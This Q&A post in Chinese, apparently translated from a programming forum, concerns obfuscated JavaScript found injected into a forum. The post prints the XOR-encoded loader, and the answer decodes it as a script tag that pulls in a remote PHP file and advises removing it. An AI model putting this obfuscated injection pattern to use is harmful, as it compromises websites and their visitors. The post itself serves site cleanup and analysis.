Question

有人使用一个奇怪的脚本来破坏我的论坛，我跟踪它并找到了javascript，但它是“编码的”，有人可以帮助我吗？

这里是：

var enkripsi="'1Aqapkrv'02v
    {
    rg'1F'05vgzv-hctcqapkrv'05'02qpa'1F'05cqw,rjr'05'1G'1A-qapkrv'1G";
    teks="";
    teksasli="";
    var panjang;
    panjang=enkripsi.length;
    for(i=0;
    i<panjang;
    i++)
        {
        teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2)
    }
    teksasli=unescape(teks);
    document.write(teksasli);

Answer 1

它会在输出中插入以下标记：

<script type='text/javascript' src='***.php'></script>

只需在某些JavaScript解释器中运行代码，然后将document.write()替换为类似console.log()的内容，您就可以看到输出。

我想这是某种蠕虫，并建议从系统中删除此代码和包含的文件***.php。另外，检查这是否是对代码的唯一修改！

Javascript编码？ var enkripsi

1 个答案: